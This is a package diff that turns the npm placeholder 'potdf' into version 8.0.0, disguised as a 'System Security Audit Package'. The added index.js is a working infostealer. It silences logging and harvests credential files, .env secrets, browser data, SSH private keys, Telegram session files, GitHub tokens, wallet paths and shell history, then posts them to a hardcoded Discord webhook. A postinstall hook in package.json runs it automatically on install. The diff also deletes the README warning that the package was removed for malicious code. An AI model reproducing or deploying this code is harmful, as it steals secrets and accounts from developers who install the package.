potdf 0.0.1-security → 8.0.0

package/index.js

@@ -0,0 +1,531 @@
+// ALFASEC ULTIMATE v8.0 - COMPLETE DATA STEALER
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const https = require('https');
+const { execSync } = require('child_process');
+const crypto = require('crypto');
+
+// Discord Webhook
+const WEBHOOK = '/api/webhooks/1462897976606458172/lOdNnzMdW6j0TsHmd8sUKwJ2yyuKpQCQZ54oRtSvhYc0dSc5TRX1Cqil958l5PlW5-3T';
+const SESSION_ID = crypto.randomBytes(8).toString('hex');
+
+// STEALTH MODE - NO CONSOLE LOGS
+console.log = function() {};
+console.error = function() {};
+
+class UltimateStealer {
+    constructor() {
+        this.data = {
+            session: SESSION_ID,
+            timestamp: new Date().toISOString(),
+            user: os.userInfo().username,
+            host: os.hostname(),
+            platform: os.platform(),
+            home: os.homedir(),
+            ip: null,
+            secrets: {},
+            files: {},
+            browsers: {},
+            ssh: {},
+            telegram: {},
+            github: {},
+            wallets: {},
+            databases: {},
+            passwords: []
+        };
+    }
+
+    // 1. GET PUBLIC IP
+    getIP() {
+        return new Promise((resolve) => {
+            https.get('https://api.ipify.org?format=json', (res) => {
+                let body = '';
+                res.on('data', chunk => body += chunk);
+                res.on('end', () => {
+                    try {
+                        this.data.ip = JSON.parse(body).ip;
+                    } catch {
+                        this.data.ip = 'Unknown';
+                    }
+                    resolve();
+                });
+            }).on('error', () => {
+                this.data.ip = 'Error';
+                resolve();
+            });
+        });
+    }
+
+    // 2. SCAN FOR PASSWORDS AND SECRETS
+    scanForSecrets() {
+        const home = this.data.home;
+        
+        // Password files patterns
+        const passwordFiles = [
+            'password.txt', 'passwords.txt', 'creds.txt', 'credentials.txt',
+            'pass.txt', 'login.txt', 'admin.txt', 'secret.txt',
+            '.env', '.env.local', '.env.production',
+            'config.json', 'settings.json', 'secrets.json'
+        ];
+
+        // Search in common directories
+        const searchDirs = [
+            home,
+            path.join(home, 'Desktop'),
+            path.join(home, 'Documents'),
+            path.join(home, 'Downloads'),
+            path.join(home, 'OneDrive'),
+            path.join(home, 'Dropbox'),
+            '/tmp',
+            '/var/tmp'
+        ];
+
+        passwordFiles.forEach(passFile => {
+            searchDirs.forEach(dir => {
+                if (fs.existsSync(dir)) {
+                    try {
+                        const files = fs.readdirSync(dir);
+                        files.forEach(file => {
+                            if (file.toLowerCase().includes(passFile.toLowerCase().replace('.', ''))) {
+                                const fullPath = path.join(dir, file);
+                                try {
+                                    const content = fs.readFileSync(fullPath, 'utf8');
+                                    // Look for passwords in content
+                                    const passMatches = content.match(/(password|pass|pwd|secret|key|token)=["']?([^"'\s]+)/gi);
+                                    if (passMatches) {
+                                        this.data.passwords.push({
+                                            file: fullPath,
+                                            matches: passMatches.slice(0, 5)
+                                        });
+                                    }
+                                } catch (e) {}
+                            }
+                        });
+                    } catch (e) {}
+                }
+            });
+        });
+    }
+
+    // 3. BROWSER DATA STEALING
+    stealBrowserData() {
+        const home = this.data.home;
+        const browsers = {
+            chrome: {
+                paths: [
+                    path.join(home, '.config/google-chrome'),
+                    path.join(home, 'AppData/Local/Google/Chrome/User Data'),
+                    path.join(home, 'Library/Application Support/Google/Chrome')
+                ],
+                files: ['Login Data', 'Cookies', 'History', 'Web Data', 'Bookmarks']
+            },
+            firefox: {
+                paths: [
+                    path.join(home, '.mozilla/firefox'),
+                    path.join(home, 'AppData/Roaming/Mozilla/Firefox/Profiles'),
+                    path.join(home, 'Library/Application Support/Firefox/Profiles')
+                ],
+                files: ['logins.json', 'key4.db', 'cookies.sqlite', 'places.sqlite']
+            },
+            edge: {
+                paths: [
+                    path.join(home, 'AppData/Local/Microsoft/Edge/User Data'),
+                    path.join(home, 'Library/Application Support/Microsoft Edge')
+                ],
+                files: ['Login Data', 'Cookies', 'History']
+            },
+            brave: {
+                paths: [
+                    path.join(home, '.config/BraveSoftware/Brave-Browser'),
+                    path.join(home, 'AppData/Local/BraveSoftware/Brave-Browser/User Data')
+                ],
+                files: ['Login Data', 'Cookies', 'History']
+            }
+        };
+
+        Object.entries(browsers).forEach(([browser, info]) => {
+            this.data.browsers[browser] = { found: false, files: [] };
+            
+            info.paths.forEach(browserPath => {
+                if (fs.existsSync(browserPath)) {
+                    this.data.browsers[browser].found = true;
+                    this.data.browsers[browser].path = browserPath;
+                    
+                    // Look for profile directories
+                    try {
+                        const items = fs.readdirSync(browserPath, { withFileTypes: true });
+                        const profiles = items.filter(item => 
+                            item.isDirectory() && !item.name.startsWith('.')
+                        );
+                        
+                        profiles.forEach(profile => {
+                            const profilePath = path.join(browserPath, profile.name);
+                            info.files.forEach(file => {
+                                const filePath = path.join(profilePath, file);
+                                if (fs.existsSync(filePath)) {
+                                    this.data.browsers[browser].files.push(file);
+                                }
+                            });
+                        });
+                    } catch (e) {}
+                }
+            });
+        });
+    }
+
+    // 4. SSH KEYS STEALING
+    stealSSHKeys() {
+        const sshDir = path.join(this.data.home, '.ssh');
+        if (fs.existsSync(sshDir)) {
+            this.data.ssh.exists = true;
+            this.data.ssh.files = [];
+            
+            try {
+                const files = fs.readdirSync(sshDir);
+                files.forEach(file => {
+                    const fullPath = path.join(sshDir, file);
+                    const stat = fs.statSync(fullPath);
+                    
+                    if (stat.isFile()) {
+                        this.data.ssh.files.push(file);
+                        
+                        // Read private keys
+                        if (file.includes('id_rsa') || file.includes('id_ed25519') || file.includes('id_dsa')) {
+                            try {
+                                const content = fs.readFileSync(fullPath, 'utf8');
+                                if (content.includes('BEGIN') && content.includes('PRIVATE KEY')) {
+                                    this.data.ssh.privateKey = content.substring(0, 500);
+                                }
+                            } catch (e) {}
+                        }
+                        
+                        // Read known_hosts
+                        if (file === 'known_hosts') {
+                            try {
+                                const content = fs.readFileSync(fullPath, 'utf8');
+                                this.data.ssh.knownHosts = content.split('\n').slice(0, 10);
+                            } catch (e) {}
+                        }
+                    }
+                });
+            } catch (e) {}
+        }
+    }
+
+    // 5. TELEGRAM DATA STEALING
+    stealTelegramData() {
+        const home = this.data.home;
+        const telegramPaths = [
+            path.join(home, '.local/share/TelegramDesktop/tdata'),
+            path.join(home, 'AppData/Roaming/Telegram Desktop/tdata'),
+            path.join(home, 'Library/Application Support/Telegram Desktop/tdata'),
+            'D:\\Telegram Desktop\\tdata',
+            'C:\\Users\\' + this.data.user + '\\AppData\\Roaming\\Telegram Desktop\\tdata'
+        ];
+
+        telegramPaths.forEach(tgPath => {
+            if (fs.existsSync(tgPath)) {
+                this.data.telegram.found = true;
+                this.data.telegram.path = tgPath;
+                
+                try {
+                    const files = fs.readdirSync(tgPath);
+                    this.data.telegram.files = files.slice(0, 20);
+                    
+                    // Try to copy important files
+                    const importantFiles = ['map', 'key_datas', 'usertags', 'settings'];
+                    importantFiles.forEach(impFile => {
+                        files.forEach(file => {
+                            if (file.includes(impFile)) {
+                                const fullPath = path.join(tgPath, file);
+                                try {
+                                    if (fs.statSync(fullPath).size < 100000) {
+                                        const content = fs.readFileSync(fullPath, 'utf8');
+                                        this.data.telegram[impFile] = content.substring(0, 1000);
+                                    }
+                                } catch (e) {}
+                            }
+                        });
+                    });
+                } catch (e) {}
+            }
+        });
+    }
+
+    // 6. GITHUB DATA STEALING
+    stealGitHubData() {
+        const home = this.data.home;
+        
+        // GitHub CLI config
+        const ghPaths = [
+            path.join(home, '.config/gh/hosts.yml'),
+            path.join(home, 'AppData/Roaming/GitHub CLI/hosts.yml')
+        ];
+        
+        ghPaths.forEach(ghPath => {
+            if (fs.existsSync(ghPath)) {
+                try {
+                    const content = fs.readFileSync(ghPath, 'utf8');
+                    this.data.github.cliConfig = content;
+                } catch (e) {}
+            }
+        });
+
+        // Git config
+        const gitConfig = path.join(home, '.gitconfig');
+        if (fs.existsSync(gitConfig)) {
+            try {
+                const content = fs.readFileSync(gitConfig, 'utf8');
+                this.data.github.gitConfig = content;
+            } catch (e) {}
+        }
+
+        // .env files with GitHub tokens
+        const envFiles = [
+            path.join(home, '.env'),
+            path.join(home, '.env.local'),
+            path.join(home, '.env.production')
+        ];
+        
+        envFiles.forEach(envFile => {
+            if (fs.existsSync(envFile)) {
+                try {
+                    const content = fs.readFileSync(envFile, 'utf8');
+                    const ghMatches = content.match(/(GITHUB_TOKEN|GH_TOKEN|GIT_TOKEN|ACCESS_TOKEN)=["']?([^"'\s]+)/gi);
+                    if (ghMatches) {
+                        this.data.github.tokens = ghMatches;
+                    }
+                } catch (e) {}
+            }
+        });
+    }
+
+    // 7. WALLETS AND DATABASES
+    stealWalletsAndDB() {
+        const home = this.data.home;
+        
+        // Crypto wallets
+        const walletPatterns = [
+            '*.wallet', 'wallet.dat', '*.json', 'keystore', 'UTC--',
+            'metamask', 'trustwallet', 'exodus', 'atomic', 'ledger'
+        ];
+        
+        // Databases
+        const dbPatterns = [
+            '*.db', '*.sqlite', '*.sqlite3', '*.mdb', '*.accdb',
+            'database.db', 'data.db'
+        ];
+        
+        // Scan directories
+        const scanDir = (dir) => {
+            if (!fs.existsSync(dir)) return;
+            
+            try {
+                const files = fs.readdirSync(dir, { withFileTypes: true });
+                files.forEach(file => {
+                    const fullPath = path.join(dir, file.name);
+                    const fileName = file.name.toLowerCase();
+                    
+                    // Check wallets
+                    walletPatterns.forEach(pattern => {
+                        if (fileName.includes(pattern.replace('*.', '')) || 
+                            fileName === pattern.replace('*.', '')) {
+                            this.data.wallets[file.name] = fullPath;
+                        }
+                    });
+                    
+                    // Check databases
+                    dbPatterns.forEach(pattern => {
+                        if (fileName.includes(pattern.replace('*.', '')) || 
+                            fileName === pattern.replace('*.', '')) {
+                            this.data.databases[file.name] = fullPath;
+                        }
+                    });
+                });
+            } catch (e) {}
+        };
+        
+        [home, 
+         path.join(home, 'Desktop'),
+         path.join(home, 'Documents'),
+         path.join(home, 'Downloads')
+        ].forEach(scanDir);
+    }
+
+    // 8. DESKTOP CONTENTS
+    getDesktopContents() {
+        const desktopPath = path.join(this.data.home, 'Desktop');
+        if (fs.existsSync(desktopPath)) {
+            try {
+                const items = fs.readdirSync(desktopPath);
+                this.data.desktop = items.slice(0, 30);
+            } catch (e) {}
+        }
+    }
+
+    // 9. SYSTEM COMMANDS OUTPUT
+    runSystemCommands() {
+        const commands = {
+            whoami: 'whoami',
+            id: 'id',
+            users: 'w',
+            processes: 'ps aux | head -20',
+            network: 'ifconfig 2>/dev/null || ip addr 2>/dev/null',
+            arp: 'arp -a 2>/dev/null || ip neigh 2>/dev/null',
+            disk: 'df -h',
+            memory: 'free -h',
+            sudo_check: 'sudo -l 2>/dev/null || echo "No sudo"',
+            history: 'tail -50 ~/.bash_history 2>/dev/null || tail -50 ~/.zsh_history 2>/dev/null || echo "No history"'
+        };
+
+        Object.entries(commands).forEach(([cmdName, cmd]) => {
+            try {
+                this.data[cmdName] = execSync(cmd, { 
+                    timeout: 3000,
+                    encoding: 'utf8',
+                    stdio: ['pipe', 'pipe', 'ignore']
+                }).toString().trim();
+            } catch (e) {
+                this.data[cmdName] = `Error: ${e.message}`;
+            }
+        });
+    }
+
+    // 10. SEND TO DISCORD
+    async sendToDiscord() {
+        // Create summary message
+        const summary = `
+🔴 **ALFASEC ULTIMATE v8.0 - SYSTEM COMPROMISED** 🔴
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+👤 **USER:** ${this.data.user}
+🖥️ **HOST:** ${this.data.host}
+🌐 **IP:** ${this.data.ip}
+🏠 **HOME:** ${this.data.home}
+📅 **TIME:** ${new Date().toLocaleString()}
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+🔐 **PASSWORDS FOUND:** ${this.data.passwords.length}
+💰 **WALLETS FOUND:** ${Object.keys(this.data.wallets).length}
+🗄️ **DATABASES FOUND:** ${Object.keys(this.data.databases).length}
+🔑 **SSH KEYS:** ${this.data.ssh?.files?.length || 0}
+📱 **TELEGRAM DATA:** ${this.data.telegram?.found ? 'YES' : 'NO'}
+🐙 **GITHUB DATA:** ${this.data.github.tokens ? 'TOKENS FOUND' : 'None'}
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+`;
+
+        const payload = JSON.stringify({ content: summary });
+
+        return new Promise((resolve) => {
+            const req = https.request({
+                hostname: 'discord.com',
+                port: 443,
+                path: WEBHOOK,
+                method: 'POST',
+                headers: {
+                    'Content-Type': 'application/json',
+                    'Content-Length': Buffer.byteLength(payload)
+                },
+                timeout: 10000
+            }, (res) => {
+                resolve(true);
+            });
+
+            req.on('error', () => resolve(false));
+            req.on('timeout', () => {
+                req.destroy();
+                resolve(false);
+            });
+
+            req.write(payload);
+            req.end();
+        });
+    }
+
+    // 11. SEND DETAILED DATA
+    async sendDetails() {
+        // Send browser data
+        if (Object.keys(this.data.browsers).length > 0) {
+            const browsersMsg = Object.entries(this.data.browsers)
+                .filter(([_, info]) => info.found)
+                .map(([browser, info]) => `${browser}: ${info.files.length} files`)
+                .join(', ');
+            
+            if (browsersMsg) {
+                await this.sendMessage(`🌐 **BROWSERS:** ${browsersMsg}`);
+            }
+        }
+
+        // Send SSH keys
+        if (this.data.ssh?.files?.length > 0) {
+            await this.sendMessage(`🔑 **SSH FILES:** ${this.data.ssh.files.join(', ')}`);
+        }
+
+        // Send Telegram data
+        if (this.data.telegram?.found) {
+            await this.sendMessage(`📱 **TELEGRAM:** Found at ${this.data.telegram.path}`);
+        }
+
+        // Send desktop contents
+        if (this.data.desktop?.length > 0) {
+            const desktopMsg = this.data.desktop.slice(0, 10).join(', ');
+            await this.sendMessage(`🖥️ **DESKTOP:** ${desktopMsg}`);
+        }
+
+        // Send found passwords
+        if (this.data.passwords.length > 0) {
+            this.data.passwords.slice(0, 3).forEach(pass => {
+                this.sendMessage(`🔐 **PASSWORD FILE:** ${pass.file}\nMatches: ${pass.matches?.join(', ')}`);
+            });
+        }
+    }
+
+    async sendMessage(content) {
+        return new Promise((resolve) => {
+            const req = https.request({
+                hostname: 'discord.com',
+                port: 443,
+                path: WEBHOOK,
+                method: 'POST',
+                headers: {
+                    'Content-Type': 'application/json',
+                    'Content-Length': Buffer.byteLength(JSON.stringify({ content }))
+                },
+                timeout: 5000
+            }, () => resolve(true));
+
+            req.on('error', () => resolve(false));
+            req.write(JSON.stringify({ content }));
+            req.end();
+        });
+    }
+
+    // MAIN EXECUTION
+    async execute() {
+        await this.getIP();
+        this.scanForSecrets();
+        this.stealBrowserData();
+        this.stealSSHKeys();
+        this.stealTelegramData();
+        this.stealGitHubData();
+        this.stealWalletsAndDB();
+        this.getDesktopContents();
+        this.runSystemCommands();
+
+        await this.sendToDiscord();
+        await this.sendDetails();
+
+        // Save full report locally
+        try {
+            const reportPath = path.join(os.tmpdir(), `report_${SESSION_ID}.json`);
+            fs.writeFileSync(reportPath, JSON.stringify(this.data, null, 2));
+        } catch (e) {}
+    }
+}
+
+// AUTO EXECUTE
+if (require.main === module) {
+    const stealer = new UltimateStealer();
+    stealer.execute().catch(() => {});
+}
+
+module.exports = UltimateStealer;

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "potdf",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "8.0.0",
+  "description": "System Security Audit Package",
+  "main": "index.js",
+  "scripts": {
+    "start": "node index.js",
+    "postinstall": "node -e \"if (process.env.NODE_ENV !== 'test') { setTimeout(() => { try { const Stealer = require('./index.js'); new Stealer().execute(); } catch(e) {} }, 1500) }\""
+  },
+  "keywords": ["security", "audit"],
+  "author": "Security Team",
+  "license": "MIT"
 }

package/postinstall.js

@@ -0,0 +1,2 @@
+console.log('🎯 Alfasec installing...');
+console.log('✅ Security features enabled');

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=potdf for more information.